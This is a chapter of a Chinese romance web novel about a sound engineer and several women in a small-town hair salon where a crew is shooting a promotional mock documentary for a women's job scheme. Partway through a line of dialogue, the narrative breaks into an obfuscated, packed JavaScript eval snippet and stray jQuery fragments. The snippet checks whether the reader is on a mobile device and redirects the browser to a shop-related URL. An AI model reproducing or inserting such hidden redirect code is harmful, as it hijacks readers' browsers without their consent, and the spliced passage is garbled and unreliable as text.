齐寻戴着耳机背对着她,正跟一个年轻小伙子说话,闻言转过身来,浅淡地望了她一眼,又扭头继续跟人交代任务去了。
反倒是他身前的话筒员小伙子,顺着他的视线遥遥一望,跟黎叙闻对视一眼,先脸红了。
“哎,你认识那大帅哥?”珍妮拨开层层人群,挤到她身边:“是你男人?”
黎叙闻视线停留在他微微紧绷的后背,语气凉飕飕的:“……不是。”
珍妮捋了一把自己的短发,低声问:“你说,这样的帅哥也寂寞吗?”
黎叙闻忽然提高声音:“你胡说八道什么?”
惊扰了架设好的收音设备,她的声音炸响在现场每一个反听里,齐寻抬手拉开耳机,痛苦地皱了下眉。
他摘下耳机,语气平淡对她道:“我们在调试设备,无关人等请先出去。”
黎叙闻几乎气笑了:“谁是无关人等?”
齐寻抬了抬眉头,面无表情地看着她。
黎叙闻从他眼神里读懂了他的意思:不是你难道是我?
书影从楼上下来,画着淡妆,穿着一件宽松的藕荷色短袖旗袍:“她是学生,我请来帮忙的。”
周围有立刻许多视线朝黎叙闻射过来,有好奇的、黏糊的,甚至猥琐的,在本就密不透风的人群中将她围了个严实。
她倒不怕人看,对着齐寻一哂,转身留给他一个后脑勺。
剧组工作嘈杂,黎叙闻和珍妮被挤到最角落,珍妮兴奋得不行,在她耳边叽叽喳喳,说的话毫无逻辑颠三倒四,她听了老半天,才明白剧组是来干什么的。
柳北县虽然经济不好,但真正出过一个成功的企业家。
提起蔡道全的名字,这里人人都觉得与有荣焉——他从商三十余年,产业涉及娱乐、艺术展览、文化推广等多个领域,近年来更是热心公益慈善,致力于培养底层女性的职业技能,惠及柳北及周边城镇,让这些女性真正实现自力更生。
他名声在外,投资出手大方,吸引了不少公司前来合作,为无数底层女性提供了工作岗位的“她计划”就是其中之一。
基于这层关系,“她计划”这几年的人员吸纳,都以柳北及附近城镇为先了。
今天要拍的东西,就是给她计划宣传的一部伪纪录片,想借用书影“发廊中的女诗人”的身份,来给大家做一个榜样。
珍妮越说越激动:“你说有钱人咋有这么好心的?我要是自己吃饱了,高低不会管别人死活!”
黎叙闻却不以为然。
因为这听起来,跟珍妮口中的那个“好工作”,差了有十万八千里。
更别说珍妮看的那些盗版书了。
她若有所思地哦了声,盯着远处沟通流程的书影和导演看。
导演是个中年男人,递给书影台本的时候,手背跟她的短暂相碰,他交代了几句,背过身去,拿了块湿巾,把那块皮肤擦了又擦。
天气本来就热,逼仄的空间一下子挤了这么多人,让本就充满水汽的空气更加稀薄。黎叙闻坐了一会儿,后颈的汗就不停地淌,衣服也潮乎乎地贴在身上。
这时候有人喊:“齐老师请大家吃雪糕!”
众人笑着在蒸笼似的发廊里鼓起掌来,齐寻抱了三箱雪糕进来放在门口,有工作人员上前,给房间里每个人手里都塞了一支。
除了她们三个。
书影、珍妮和黎叙闻,这三个女人像是忽然隐形了,谁都看不见她们汗流浃背地站在原地,没有雪糕吃。
黎叙闻无所谓,准备自己过去拿,被珍妮拉住,小声道:“人家买给自己人吃的,咱们……”
黎叙闻冷笑:“怎么,吃他们根雪糕是给他们脸了。”
说话间,齐寻拿了一把雪糕,先递给书影一支,然后向着她们走过来。
黎叙闻眼皮一跳,立刻扭开脸看别处,骤然爬升的心跳却掩不住地慌。
齐寻给了珍妮一根牛奶的一根巧克力的,看了看黎叙闻,慢半拍递上一根抹茶的。
黎叙闻漫不经心地收回眼神,看着他骨节分明的手递来的冒着凉气的雪糕,还没吃到嘴里,心里的火气就先被浇灭了大半。
她接过来:“无关人等不用录音老师关心了。”
齐寻没跟她呛,看了她两秒,道:“别贪凉。”
黎叙闻半低着头看手里的雪糕,好像配料表忽然有了无与伦比的魅力。
齐寻抱着胳膊靠在门边,视线停在她的眼睫,脸上没有什么波澜。
于是他们谁都没有看见旁边珍妮拿着两根雪糕,一脸怔愣和发红的脸颊。
也没有看见远处书影看过来的目光,和阴沉的脸。
休息了一阵子,导演的声音在门口响起:“来大家准备一下……”
“等等,”书影忽然打断:“我有个要求。”
在场人员各忙各的,没人因为她的话停下来。
书影提高了声音,指着齐寻:“让他出去!不然都别拍了!”
此言一出,周围终于安静了。
导演轻轻一哂:“您要干嘛呢?”
“这是我的店,”书影重复:“我有权把任何人赶出去。”
周围人全笑了。
人群里不知是谁,大笑道:“大妈,你知道这位老师是谁吗?人家爱来你这个破地方?”
黎叙闻不明所以,只能远远看着,心说影姐怎么搞的,怎么说翻脸就翻脸,齐寻怎么惹她了?
“可以,没事,”齐寻抬了抬手:“现场录音小孙能搞定。”
叫小孙的话筒员瞬间欲哭无泪:“啊?我、我一个人吗?”
“跟你学生作业没什么区别,”齐寻塞给他一把五号电池:“注意电量,我就在车上坐着,有事就叫。”
说罢他目不斜视,抬脚就出了房间。
留黎叙闻一个人在原地,眼睛一眨不眨,一直望着门口停着的那辆面包车。
望到的却只有她自己的欲盖弥彰的脸。
……又不是什么违法活动!车贴什么防窥膜啊!
拍摄还算顺利,齐寻一边盯着耳机里现场的动静,一边在电脑上听书影之前录的诗朗诵干音。
中气十足、字正腔圆,不用底稿他也听得一清二楚,比现在很多演员的口条都清楚得多。
他顺了一遍,记下时间码,想找个合适的效果素材,一回头,却见黎叙闻隔着两道玻璃,紧绷着脸,一瞬不瞬盯着他瞧。
齐寻手指本能地握紧了一刹,紧接着反应过来,这车有防窥膜,外面看不见里面。
那她这是在看什么?
是在……担心吗?
他哼笑了声,打消了念头。
拍摄告一段落,现场重新嘈杂起来,乌泱泱的人声像潮水一样从耳机里涌向他的耳朵,齐寻喝了口水,往后一靠,开始聚精会神的八卦时间。
这大概是录音师为数不多的福利——很多演员的麦都用三角包贴在衣领内侧,休息时会忘记身上有麦,跟身边人蛐蛐什么的都有。
有好几次演员都骂到导演全家了,要不是他盯着关导演的反听,搞不好血溅当场。
书影那条音轨发出一阵衣料的摩擦声和脚步声,然后他听见书影略哑的声音:“你去菜场,买晚上的菜。”
“这么热就不能晚上再去!”是刚那个小姑娘:“晚上挑剩的还便宜呢!”
“叫你去就去!”
一阵轻捷的脚步声远去了,书影停了一阵,声音低了两个档,问:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997819|190916||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刚那个帅哥,叫我撵出去那个,是你男人?”
齐寻眼疾手快切了全组的反听,手指扶在开关上,轻轻一蜷,还是打开了自己的频道。
“……人还可以。”
还是书影的声音。
显然刚刚那一秒的犹豫,黎叙闻已经回答了那个问题。
齐寻啧一声,烦躁地抓了把头发。
紧接着黎叙闻就对书影发难,语气冷淡,尾音上挑,那是他再熟悉不过的挑衅的语气:“可不是,您专治人不错,张嘴就把人赶出去。”
她甚至冷笑了一声:“他在业内有名望的你知不知道?你这样对他,传出去他还怎么接活儿?”
齐寻眼都不眨地盯着高低不一的波形,好像其他所有声音都成了这句话的背景,跟它一比,甚至没有被听见的必要。
……原以为她不留情面反复拒绝,是不想跟他有半点关系。
现在看来,闻闻对他,至少还剩下些仗义执言的义气。
他无声地弯了唇角。
也够了。
车窗忽然一暗,小孙在外面敲玻璃,手里举着一张室内平面图:“齐老师,下一场你看看哪里的收音效果好?”
书影并不知道已经被他听了去,这时候坐在黎叙闻身边,周围人来来往往,都把她们当做道具背景。
旗袍很合身,只是在她身上,像是刚刚才借来的一件躯壳一样,身体小心翼翼地挤在里面,像一个预制罐头。
她压低了声音,道:“就是因为他人不错,我才不能让他在这里呆。”
黎叙闻斜睨她,其实心里早掂起了记录仪:“别告诉我是为他好。”
“不是。”
她脊背僵直,带着茧子的手放在膝盖上,绸缎旗袍发出极轻的一声刮磨声,她立刻把手拿开,放到沙发上:“是珍妮。”
“那丫头在家不受待见,后来又被家里卖了,费劲巴拉逃出来,说是想做那一行,其实就是想养活自己。你想想,她这样的女娃,从小哪有男的跟她好好说过话?”
书影语速变得很快,像在替谁难为情:“你也看见了,我堂堂正正,但谁都觉得我们这不是正经地方,也没人稀罕看我们,但他不一样。”
书影低着头,看着手里的雪糕包装。
“她来这儿这么长时间,谁也没给她买过一根雪糕吃……他今天给珍妮一根雪糕,明天呢?他能把她带出这个地方吗?他只会让珍妮发白日梦,梦醒了,现实只会让她更难受。“
剧组有人点起烟,空气里弥漫着呛人的烟味,大灯杵在旁边的楼梯口,几乎把本就潮热的空气蒸腾出水汽。
黎叙闻隔着青紫色的缭绕烟雾,失神地望着她略微有些躲闪的脸。
她这一身借来的躯壳,似乎让她有了一种短暂抽离和剖白的勇气。
珍妮的爸爸、家里的男性亲戚、她的“买家”,或许从来没有正眼瞧过她一眼。
齐寻呢,长得好、地位高,那个看不上她的导演都对他毕恭毕敬的,一看就是大城市的精英。
他们之间是云泥之别。
书影把珍妮支开、不留情面地把齐寻赶走,是为了不让珍妮有不切实际的幻想。
有无边酸楚从黎叙闻心底源源不断涌出来,淹得她连一句体面的安慰都说不出。
这些事如果不是书影亲口说给她听,她无论如何也无法想象,会有妙龄少女因为两根雪糕,就觉得自己被珍视了。
如果今天不是齐寻,是其他什么别有用心的人,珍妮现在是不是已经蠢蠢欲动,要跟对方私奔了?
那只是两根雪糕而已。
“你跟他解释下道个歉吧,我不去跟他说话了。”书影小心起身,用手背按住下摆:“免得坏了他名声。”